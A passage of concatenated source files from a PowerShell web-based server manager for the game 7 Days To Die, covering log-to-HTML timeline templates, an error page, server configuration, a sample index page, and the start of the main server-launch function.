ZC6fPeMlyctKrhbzD8cv2hExIPLIcJPiTMEYlI2054w7A2L5OjqMwwGmZITaWeD3rgeB06mlKb43t6x+vQ/ympff3ZYwzjRdB+/N/ZNn70xDob/PLk9Loa+QPPdSx/Jf/HoDSM2ndNKSm6lWzHdBHsB+Zlyencv/dcHRZhXefb/BlxgqyYfhSKw+4x4lreZvO4uLEHDWNb12hRb+M0TeNtHVbd5bssZZe3syCx7C6DBw2JR7VKDKu4tKfsmt33pTGsxV8F8TbuPvPNwPSvbTn3vteAPPLKQ6J7SViTJAh5ZCOH/NHR0j/C83s/7Ow5kzUgzqcSCAQCgUAgEAgEAoFAIBAIBAKBQCAQCAQCgUAgEAgEAoFAIBAIBAKBQCAQCAQCgUAgEAgEAoFAIBAIBAKBQPwh/geRhMC6Az3ZzAAAAABJRU5ErkJggg==>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } "$PlayerName crushed it for $LastedTime before he decided to take a well deserved break." } ) "</div>" "</div>" } #Player Ban - NEEDS UPDATE "BANBANBAN" { #Parse The Date #$TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) #Parse The Command And Write The HTML #"<div class='timeline-entry'>" # "<div class='timeline-stat'>" # "<div class='timeline-icon bg-warning'><i class='fa fa-ban fa-2x'></i></div>" # "<div class='timeline-time'>" # IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} # ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} # ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} # ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} # "</div>" # "</div>" # "<div class='timeline-label'>" # "<p class='text-main text-semibold'>Ban Hammer Swung</p>" # "<span>$PlayerName just got ban hammered.....sucks to be you $PlayerName.</span>" # "</div>" #"</div>" } #Deny Admin Command "*Denying command*" { #Get The Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $(($_ -Split 'client')[1].TrimStart()) $DeniedCommand = $($_.Split("'")[1]) #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-warning'><i class='demo-psi-speech-bubble-3 icon-lg'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} "</div>" "</div>" "<div class='timeline-label'>" "$PlayerName Tried To Cheat The System By Executing: $DeniedCommand, But Was Caught And Publicly Shamed Instead." "</div>" "</div>" } #Render Map "*Executing command 'rendermap'*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $SteamID = $($_.Split(" ")[8]) $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $PlayerName = $($SteamProfile.steamid.'#cdata-section') $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-map-o fa-1x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" "<p class='text-main text-semibold'>Server Event - Render Map to Website</p>" "<img class='img-xs img-circle' src=$AvatarIcon>" "<span>$PlayerName just decided to slowed down the entire server so he could update the map on the website. *golf clap*</span>" "</div>" "</div>" } #Ignore default {} } } ) </div> <!--===================================================--> <!-- End Timeline --> </div> </div> </div> <!--===================================================--> <!--End page content--> </div> <!--===================================================--> <!--END CONTENT CONTAINER--> <!--MAIN NAVIGATION--> <!--===================================================--> <nav id="mainnav-container"> <div id="mainnav"> <!--Menu--> <!--================================--> <div id="mainnav-menu-wrap"> <div class="nano"> <div class="nano-content"> <!--Widget--> <!--================================--> <div class="mainnav-widget"> <!-- Show the button on collapsed navigation --> <div class="show-small"> <a href="#" data-toggle="menu-widget" data-target="#demo-wg-server"> <i class="demo-pli-monitor-2"></i> </a> </div> <!-- Hide the content on collapsed navigation --> <div id="demo-wg-server" class="hide-small mainnav-widget-content"> <ul class="list-group"> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26900'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Main Server</p> </li> <li> $( #Determine If Main Server Is Up Or Down If((Get-NetTCPConnection | Where {$_.OwningProcess -eq $((Get-Process | Where {$_.ProcessName -like '7DaysToDieServer'}).ID)} | Where {$_.LocalPort -eq '26901'} | Measure-Object).Count -gt 0) { '<span class="label label-success pull-right">UP</span>' } Else { '<span class="label label-danger pull-right">DOWN</span>' } ) <p>Test Server</p> </li> </ul> </div> </div> <!--================================--> <!--End widget--> <ul id="mainnav-menu" class="list-group"> <!--Category name--> <li class="list-header">Navigation</li> <!--Menu list item--> <li> <a href="index.ps1"> <i class="demo-psi-home"></i> <span class="menu-title"> <strong>Dashboard</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="maps.ps1"> <i class="fa fa-map-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Map</strong> </span> </a> </li> <!--Menu list item--> <li class="active-link"> <a href="serverlog.ps1"> <i class="fa fa-file-text-o" aria-hidden="true"></i> <span class="menu-title"> <strong>Server Log Feed</strong> </span> </a> </li> <!--Menu list item--> <li> <a href="controlpanel.ps1"> <i class="fa fa-terminal" aria-hidden="true"></i> <span class="menu-title"> <strong>Control Panel</strong> </span> </a> </li> </ul> </div> </div> </div> <!--================================--> <!--End menu--> </div> </nav> <!--===================================================--> <!--END MAIN NAVIGATION--> </div> <!-- FOOTER --> <!--===================================================--> <footer id="footer"> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <!-- Remove the class "show-fixed" and "hide-fixed" to make the content always appears. --> <!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> <p class="pad-lft">&#0169; 2017 Sean Davis</p> </footer> <!--===================================================--> <!-- END FOOTER --> <!-- SCROLL PAGE BUTTON --> <!--===================================================--> <button class="scroll-top btn"> <i class="pci-chevron chevron-up"></i> </button> <!--===================================================--> </div> <!--===================================================--> <!-- END OF CONTAINER --> </body> </html> "@ 1
phpsecurityerror.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server 500 Module if ($HostName -eq "+") { $HeaderName = "localhost" } else { $HeaderName = $HostNames[0] } @" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PoSH Server - 500 - Internal Server Error</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;background:#CBE1EF;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 40px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;padding:4px 15px 4px 10px;margin:4px 0 8px -12px;_margin-top:0px; border-top:1px solid #EDEDED;border-left:1px solid #EDEDED;border-right:1px solid #969696; border-bottom:1px solid #969696;background:#E7ECF0;font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;background-color:#5C87B2; }#content{margin:0 0 0 2%;position:relative;} .summary-container,.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} .config_source{background:#fff5c4;} .content-container p{margin:0 0 10px 0; }#details-left{width:35%;float:left;margin-right:2%; }#details-right{width:63%;float:left;overflow:hidden; }#server_version{width:96%;_height:1px;min-height:1px;margin:0 0 5px 0;padding:11px 2% 8px 2%;color:#FFFFFF; background-color:#5A7FA5;border-bottom:1px solid #C1CFDD;border-top:1px solid #4A6C8E;font-weight:normal; font-size:1em;color:#FFF;text-align:right; }#server_version p{margin:5px 0;} table{margin:4px 0 4px 0;width:100%;border:none;} td,th{vertical-align:top;padding:3px 0;text-align:left;font-weight:bold;border:none;} th{width:30%;text-align:right;padding-right:2%;font-weight:normal;} thead th{background-color:#ebebeb;width:25%; }#details-right th{width:20%;} table tr.alt td,table tr.alt th{background-color:#ebebeb;} .highlight-code{color:#CC0000;font-weight:bold;font-style:italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="header"><h1>Server Error in Application "$HeaderName"</h1></div> <div id="server_version"><p>PoSH Server Microsoft-HTTPAPI/2.0</p></div> <div id="content"> <div class="content-container"> <fieldset><legend>Error Summary</legend> <h2>HTTP Error 500 - Internal Server Error</h2> <h3>The page you are requesting cannot be served because of the security restriction.</h3> </fieldset> </div> <div class="content-container"> <fieldset><legend>Most likely causes:</legend> <ul> <li>You are trying to execute PHP files in C:\Windows. By default, PHP has no read access into Windows directory.</li> <li>The feature you are trying to use may not be installed.</li> <li>The appropriate MIME map is not enabled for the Web site or application.</li> <li>If PHP is not installed.</li></ul> </fieldset> </div> <div class="content-container"> <fieldset><legend>Things you can try:</legend> <ul> <li>Ensure that the expected handler for the current page is mapped.</li> <li>Make sure you provided correct php-cgi.exe path in config file.</li> </ul> </fieldset> </div> <div class="content-container"> <fieldset><legend>Links and More Information</legend> This error occurs when the file extension of the requested URL is for a MIME type that is not configured on the server. You can add a MIME type for the file extension for files that are not dynamic scripting pages, database, or configuration files. Process those file types using a handler. You should not allows direct downloads of dynamic scripting pages, database or configuration files. <p><a href="http://go.microsoft.com/fwlink/?LinkID=62293&IIS70Error=500,0,0x80070032,8250">View more information &raquo;</a></p> </fieldset> </div> </div> </body> </html> "@
config.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server Configuration # Default Document $DefaultDocument = "index.ps1" # Log Schedule # Options: Hourly, Daily $LogSchedule = "Daily" # Basic Authentication # Options: On, Off $BasicAuthentication = "Off" # Windows Authentication # Options: On, Off $WindowsAuthentication = "Off" # DirectoryBrowsing # Options: On, Off $DirectoryBrowsing = "Off" # IP Restriction # Options: On, Off $IPRestriction = "Off" $IPWhiteList = "::1 127.0.0.1" # Content Filtering # Options: On, Off $ContentFiltering = "Off" $ContentFilterBlackList = "audio/mpeg video/mpeg" # PHP Cgi Path $PHPCgiPath = ($env:PATH).Split(";") | Select-String "PHP" $PHPCgiPath = [string]$PHPCgiPath + "\php-cgi.exe"
index.ps1
7DaysToDieManager-1.0.0
@" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Sample Web Site Template - PoSH Server</title> <meta name="author" content="Your Inspiration Web - Nando [php, xhtml, css], Sara [graphic design]" /> <meta name="keywords" content="single web page, single page website, single page template, single page layout" /> <meta name="description" content="" /> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <!-- [template css] begin --> <link rel="stylesheet" href="css/screen.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/960.css" type="text/css" media="screen, projection" /> <link rel="stylesheet" href="css/print.css" type="text/css" media="print" /> <!--[if IE]> <link rel="stylesheet" href="css/ie.css" type="text/css" media="screen, projection" /> <![endif]--> <!-- [template css] end --> <!-- [favicon] begin --> <link rel="shortcut icon" type="image/x-icon" href="favicon.ico" /> <link rel="icon" type="image/x-icon" href="favicon.ico" /> <!-- [favicon] end --> <!-- Some hacks for the dreaded IE6 ;) --> <!--[if lt IE 7]> <link rel="stylesheet" href="css/ie6.css" type="text/css" media="screen" /> <script type="text/javascript"> var clear="images/clear.gif"; </script> <script type="text/javascript" src="js/unitpngfix.js"></script> <![endif]--> <script type="text/javascript" src="js/mootools-yui-compressed.js"></script> <script type="text/javascript" src="js/jquery.js"></script> <script type="text/javascript" charset="utf-8">jQuery.noConflict();</script> <!-- START SCROLL --> <script src="js/scroll.js" type="text/javascript"></script> <!-- END SCROLL --> <!-- START CUFON --> <script type="text/javascript" src="js/cufon-yui.js"></script> <script type="text/javascript" src="js/dustismo_400.font.js"></script> <script type="text/javascript"> Cufon.replace('h1,ul#nav,h2,h4', { hover: true, fontFamily: 'dustismo' }); </script> <!-- END CUFON --> <!-- START VALIDATE FORM CONTACT --> <script type="text/javascript" src="js/form-contact-validate.js"></script> <!-- END VALIDATE FORM CONTACT --> </head> <body id="home-page"> <!-- START TOP FADE --> <div class="top-bg">&nbsp;</div> <!-- END TOP FADE --> <!-- START BOTTOM FADE --> <div class="bottom-bg">&nbsp;</div> <!-- END BOTTOM FADE --> <!-- START HEADER --> <div class="container_12"> <!-- START NAVIGATION SECTION --> <div class="grid_3 alpha"> <div class="fixed-column"> <!-- START LOGO --> <a href="index.htm" title="home page"> <img src="images/logo.png" alt="logo" class="logo" /> </a> <!-- END LOGO --> <!-- START NAV --> <ul id="nav"> <li><a href="#home-page" title="Home page">home</a></li> <li><a href="#about-page" title="about">about</a></li> <li><a href="#portfolio-page" title="portfolio">portfolio</a></li> <li><a href="#contact-page" title="contatti">contact</a></li> </ul> <!-- END NAV --> <!-- START FOLLOW ME --> <a href="#" title="follow me on twitter"> <img src="images/follow-me.gif" alt="follow-me" class="follow-me" /> </a> <!-- END FOLLOW ME --> <!-- START SEND ME AN EMAIL --> <a href="mailto:[email protected]" title="Send me an email"> <img src="images/send-mail.gif" alt="send mail" /> </a> <!-- END SEND ME AN EMAIL --> <!-- START ADD ME ON SKYPE --> <a href="#" title="Add me on Skype"> <img src="images/add-on-skype.png" alt="add skype" /> </a> <!-- END ADD ME ON SKYPE --> <!-- DO NOT REMOVE: START CREDITS --> <div class="credits"> <!--<a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by/2.5/it/80x15.png" /></a><br /><span xmlns:dc="http://purl.org/dc/elements/1.1/" property="dc:title">Your Inspiration Folio</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://www.yourinspirationweb.com" property="cc:attributionName" rel="cc:attributionURL">Your Inspiration Web</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by/2.5/it/">Creative Commons Attribuzione 2.5 Italia License</a>.--> powered by <a href="http://www.yourinspirationweb.com/en/free-website-template-present-your-portfolio-online-in-a-single-webpage/" title="The Community of Inspiration Dedicated to Webdesign"> YIW </a> </div> <!-- END CREDITS --> </div> </div> <!-- END NAVIGATION SECTION --> <div class="grid_9 omega right-column"> <!-- START HOME PAGE --> <div class="home"> <!--<img src="images/text-home.jpg" alt="contenuto-home" />--> <h1> Welcome to <span>PoSH Server!</span> You can use Powershell commands with <span>html</span> codes. Let's get date: <span>$(Get-Date)</span> </h1> <!--<img src="images/arrow-home.png" alt="arrow" class="arrow" />--> </div> <div class="home-bottom-bg"></div> <!-- END HOME PAGE --> <!-- START ABOUT PAGE --> <a id="about-page"></a> <div class="about"> <div class="grid_5 alpha"> <div class="container-about"> <h2>About</h2> <p> In the About page you can insert some information on yourself: title of study, eventual training courses attended, certificates, diplomas. </p> <p> Or you can describe your dreams, your work experiences... in a few words everything that can represent <span>you on the web</span> in a decisive and original way. </p> <p> Insert a small picture or even a <span>cartoon</span> just like the one I have inserted: nowdays illustrations are the trend! </p> </div> </div> <!-- START AVATAR --> <div class="grid_4 omega avatar-image"> <img src="images/avatar.jpg" alt="avatar" class="avatar" /> </div> <!-- END AVATAR --> <div class="clear"></div> </div> <div class="about-bottom-bg"></div> <!-- END ABOUT PAGE --> <!-- START PORTFOLIO PAGE --> <a id="portfolio-page"></a> <div class="portfolio"> <div class="grid_4 alpha"> <div class="container-portfolio"> <h2>Portfolio</h2> </div> </div> <!-- START PORTFOLIO QUOTE --> <div class="grid_4 omega"> <div class="portfolio-quote"> <h4>I hope you like my work and my work speaks for me.</h4> </div> </div> <!-- END PORTFOLIO QUOTE --> <div class="clear"></div> <div class="container-portfolio"> <!-- START THUMB IMAGE --> <div class="photo"> <a href="#project01"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project02"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="photo"> <a href="#project03"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="One Page Folio" /> </a> </div> <div class="photo"> <a href="#project04"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="Eclectic: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project05"> <img src="images/portfolio/005.big.jpg" height="85" width="85" alt="Gold: Premium WordPress Theme" /> </a> </div> <div class="photo"> <a href="#project06"> <img src="images/portfolio/006.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project07"> <img src="images/portfolio/004.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project08"> <img src="images/portfolio/003.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project09"> <img src="images/portfolio/001.big.jpg" height="85" width="85" alt="" /> </a> </div> <div class="photo"> <a href="#project10"> <img src="images/portfolio/002.big.jpg" height="85" width="85" alt="Asilo nido" /> </a> </div> <div class="clear"></div> <!-- END SMALL IMAGE --> </div> </div> <div class="portfolio-bottom-bg"></div> <!-- END PORTFOLIO PAGE --> <!-- START CONTACT PAGE --> <a id="contact-page"></a> <div class="contact"> <div class="grid_5 alpha"> <div class="container-contact"> <h2>Contact</h2> <div id="log"></div> <form id="contacts" method="post" action="include/inc_sendmail.php"> <fieldset> <input tabindex="1" type="text" id="visitor" name="visitor" value="Name" onfocus="if (this.value=='Name') this.value='';" onblur="if (this.value=='') this.value='Name';" class="text name" /> <br /> <input tabindex="3" type="text" id="visitormail" name="visitormail" value="E-mail" onfocus="if (this.value=='E-mail') this.value='';" onblur="if (this.value=='') this.value='E-mail';" class="text mail" /> <br /> <textarea tabindex="4" id="notes" name="notes" cols="30" rows="3" onfocus="if (this.value=='Message') this.value='';" onblur="if (this.value=='') this.value='Message';" class="text message">Message</textarea> <br /> <input class="button" name="Send" value="Send e-mail" type="submit" /> </fieldset> </form> </div> </div> <div class="grid_4 omega contact-info"> <p class="title">Estimates, questions, information?</p> <p> Not hesitate to contact me.<br/> Send the form or contact me on skype. </p> <img src="images/logo.small.gif" alt="logo" class="contact-logo" /> <h3>YourInspirationFolio</h3> <address>Arlington Road, 988</address> <p class="right"> <span>Tel.</span> 074 5678 678<br/> <span>Fax.</span> 074 5678 678 </p> </div> <div class="clear"></div> </div> <div class="contact-bottom-bg"></div> <!-- END CONTACT PAGE --> </div> <div class="clear"></div> </div> <!--[if IE]> <script type="text/javascript"> Cufon.now(); </script> <![endif]--> </body> </html> "@
7DaysToDieManager.psd1
7DaysToDieManager-1.0.0
# Copyright 2019 - Sean Davis # GNU General Public License v3 @{ Author = "Sean Davis" Description = "7 Days To Die Web Based Server Manager" Copyright = "Copyright (C) 2019 Sean Davis" ModuleVersion = "1.0" Guid = "a22be64d-117b-0a99-21c9-7dd0b2ead012" NestedModules = "7DaysToDieManager.ps1" }
7DaysToDieManager.ps1
7DaysToDieManager-1.0.0
# Copyright 2019 - Sean Davis # GNU General Public License v3 function Start-7DaysToDieManager { <# .SYNOPSIS Powershell Web Server to serve HTML and Powershell web contents. .DESCRIPTION Listens a port to serve web content. Supports HTML and Powershell. .PARAMETER WhatIf Display what would happen if you would run the function with given parameters. .PARAMETER Confirm Prompts for confirmation for each operation. Allow user to specify Yes/No to all option to stop prompting. .EXAMPLE Start-7DaysToDieManager -IP 127.0.0.1 -Port 8080 .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net" -Port 8080 .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net" -Port 8080 -asJob .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net" -Port 8080 -SSL -SSLPort 8443 -asJob .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net" -Port 8080 -SSL -SSLIP "127.0.0.1" -SSLPort 8443 -asJob .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net" -Port 8080 -DebugMode .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net,www.7DaysToDieManager.net" -Port 8080 .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net,www.7DaysToDieManager.net" -Port 8080 -HomeDirectory "C:\inetpub\wwwroot" .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net,www.7DaysToDieManager.net" -Port 8080 -HomeDirectory "C:\inetpub\wwwroot" -LogDirectory "C:\inetpub\wwwroot" .EXAMPLE Start-7DaysToDieManager -Hostname "7DaysToDieManager.net" -Port 8080 -CustomConfig "C:\inetpub\config.ps1" -CustomJob "C:\inetpub\job.ps1" .INPUTS None .OUTPUTS None .NOTES Author: Sean Davis Website: http://www.imseandavis.com Email: [email protected] Date created: 16-Oct-2019 Last modified: 16-Oct-2019 Version: 1.0 .LINK http://7DaysToDieManager.seanasaservice.com #> [CmdletBinding(SupportsShouldProcess = $true)] param ( # Hostname [Parameter( Mandatory = $false, HelpMessage = 'IP Address or Hostname')] [Alias('IP')] [string]$Hostname, # Port Number [Parameter( Mandatory = $false, HelpMessage = 'Port Number')] [string]$Port, # SSL IP Address [Parameter( Mandatory = $false, HelpMessage = 'SSL IP Address')] [string]$SSLIP, # SSL Port Number [Parameter( Mandatory = $false, HelpMessage = 'SSL Port Number')] [string]$SSLPort, # SSL Port Number [Parameter( Mandatory = $false, HelpMessage = 'SSL Friendly Name. Example: 7DaysToDieManager.net')] [string]$SSLName, # Home Directory [Parameter( Mandatory = $false, HelpMessage = 'Home Directory. Example: C:\inetpub\wwwroot')] [string]$HomeDirectory, # Log Directory [Parameter( Mandatory = $false, HelpMessage = 'Log Directory. Example: C:\inetpub\wwwroot')] [string]$LogDirectory, # Custom Config Path [Parameter( Mandatory = $false, HelpMessage = 'Custom Config Path. Example: C:\inetpub\config.ps1')] [string]$CustomConfig, # Custom Child Config Path [Parameter( Mandatory = $false, HelpMessage = 'Custom Child Config Path. Example: C:\inetpub\childconfig.ps1')] [string]$CustomChildConfig, # Custom Job Path [Parameter( Mandatory = $false, HelpMessage = 'Custom Job Path. Example: C:\inetpub\jobs.ps1')] [string]$CustomJob, # Custom Job Schedule [Parameter( Mandatory = $false, HelpMessage = 'Custom Job Schedule. Example: 1, 5, 10, 20, 30, 60')] [ValidateSet("1","5","10","20","30","60")] [string]$CustomJobSchedule = "5", # Background Job ID [Parameter( Mandatory = $false, HelpMessage = 'Background Job ID. Example: 52341')] [string]$JobID, # Background Job Username [Parameter( Mandatory = $false, HelpMessage = 'Background Job Username. Example: CONTOSO\Administrator')] [string]$JobUsername, # Background Job User Password [Parameter( Mandatory = $false, HelpMessage = 'Background Job User Password. Example: P@ssw0rd1')] [string]$JobPassword, # Background Job Credentials [Parameter( Mandatory = $false, HelpMessage = 'Run Background Job as Different User')] [switch]$JobCredentials = $false, # Enable SSL [Parameter( Mandatory = $false, HelpMessage = 'Enable SSL')] [switch]$SSL = $false, # Debug Mode [Parameter( Mandatory = $false, HelpMessage = 'Debug Mode')] [switch]$DebugMode = $false, # Background Job [Parameter( Mandatory = $false, HelpMessage = 'Run As Background Job')] [switch]$asJob = $false ) # Enable Debug Mode if ($DebugMode) { $DebugPreference = "Continue" } else { $ErrorActionPreference = "silentlycontinue" } # Get 7DTDSM Server Path $7DaysToDieManagerPath = "C:\Program Files\7DaysToDieManager" # Get 7DTDSM Server Module Path $7DTDSMModulePath = "C:\Program Files\7DaysToDieManager\modules" # Test 7DTDSM Server Module Path $7DTDSMModulePathTest = Test-Path $7DTDSMModulePath if (!$7DTDSMModulePathTest) { $ModulePaths = ($env:PSModulePath).Split(";") # Test Module Paths Foreach ($ModulePath in $ModulePaths) { $ModulePath = "$ModulePath\7DaysToDieManager" $ModulePath = $ModulePath.Replace("\\","\") $7DTDSMModulePathTest = Test-Path $ModulePath if ($7DTDSMModulePathTest) { $7DTDSMModulePath = $ModulePath } } } if (!$7DTDSMModulePathTest) { Write-Warning "Could not detect 7DTDSM Server Module Path." Write-Warning "Aborting.." $ResultCode = "-1" $ResultMessage = "Could not detect 7DTDSM Server Module Path." } else { # Import Functions . $7DTDSMModulePath\modules\functions.ps1 } # Background Job Control if ($asJob -and $ResultCode -ne "-1") { if ($JobCredentials) { Write-Host " " Write-Host "Plase specify user credentials for 7DTDSM Server background job." Write-Host " " $JobUsername = Read-Host -Prompt "Username" $JobSecurePassword = Read-Host -Prompt "Password" -AsSecureString $JobSecureCredentials = New-Object -Typename System.Management.Automation.PSCredential -ArgumentList $JobUsername,$JobSecurePassword $JobPassword = $JobSecureCredentials.GetNetworkCredential().Password } } # Background Job ID if ($JobID -and $ResultCode -ne "-1") { $JobIDPath = "$7DaysToDieManagerPath\jobs\job-$JobID.txt" $TestJobID = Test-Path $JobIDPath if ($JobIDPath) { $JobIDContent = Get-Content $JobIDPath $Hostname = $JobIDContent.Split(";")[0] $Port = $JobIDContent.Split(";")[1] $SSLIP = $JobIDContent.Split(";")[2] $SSLPort = $JobIDContent.Split(";")[3] $SSLName = $JobIDContent.Split(";")[4] $HomeDirectory = $JobIDContent.Split(";")[5] $LogDirectory = $JobIDContent.Split(";")[6] $CustomConfig = $JobIDContent.Split(";")[7] $CustomChildConfig = $JobIDContent.Split(";")[8] $CustomJob = $JobIDContent.Split(";")[9] } else { Write-Warning "Job ID is not exist." Write-Warning "Aborting.." $ResultCode = "-1" $ResultMessage = "Job ID is not exist." } } if ($ResultCode -ne "-1") { # Get Home and Log Directories if (!$HomeDirectory) { $HomeDirectory = "$7DaysToDieManagerPath\webroot\http" } if (!$LogDirectory) { $LogDirectory = "$7DaysToDieManagerPath\webroot\logs" } # Admin Privileges Verification . $7DTDSMModulePath\modules\adminverification.ps1 # Server IP Verification . $7DTDSMModulePath\modules\ipverification.ps1 # PHP Encoding Module . $7DTDSMModulePath\modules\phpencoding.ps1 # Break Script If Something's Wrong if ($ShouldProcess -eq $false) { $ResultCode = "-1" $ResultMessage = "Please check module output." } } if ($ResultCode -ne "-1") { # Enable Background Job if ($asJob) { if (!$Hostname) { $Hostname = "+" $TaskHostname = "localhost" } else { $TaskHostname = $Hostname.Split(",")[0] } if (!$Port) { $Port = "8080" $TaskPort = "8080" } else { $TaskPort = $Port.Split(",")[0] } if ($SSL) { if (!$SSLIP) { $SSLIP = "127.0.0.1" if (!$SSLPort) { $SSLPort = "8443" } } } $CheckTask = schtasks.exe | where {$_ -like "7DaysToDieManager-$TaskHostname-$TaskPort*"} if ($CheckTask) { Write-Warning "This job is already exist. You should run it from Scheduled Jobs." Write-Warning "Aborting.." $ResultCode = "-1" $ResultMessage = "This job is already exist. You should run it from Scheduled Jobs." } else { # Prepare Job Information $TaskID = Get-Random -Maximum 10000 $TaskName = "7DaysToDieManager-$TaskHostname-$TaskPort-$TaskID" $CreateJobIDPath = $7DaysToDieManagerPath + "\jobs\job-" + $TaskID + ".txt" $CreateJobIDValue = $Hostname + ";" + $Port + ";" + $SSLIP + ";" + $SSLPort + ";" + $SSLName + 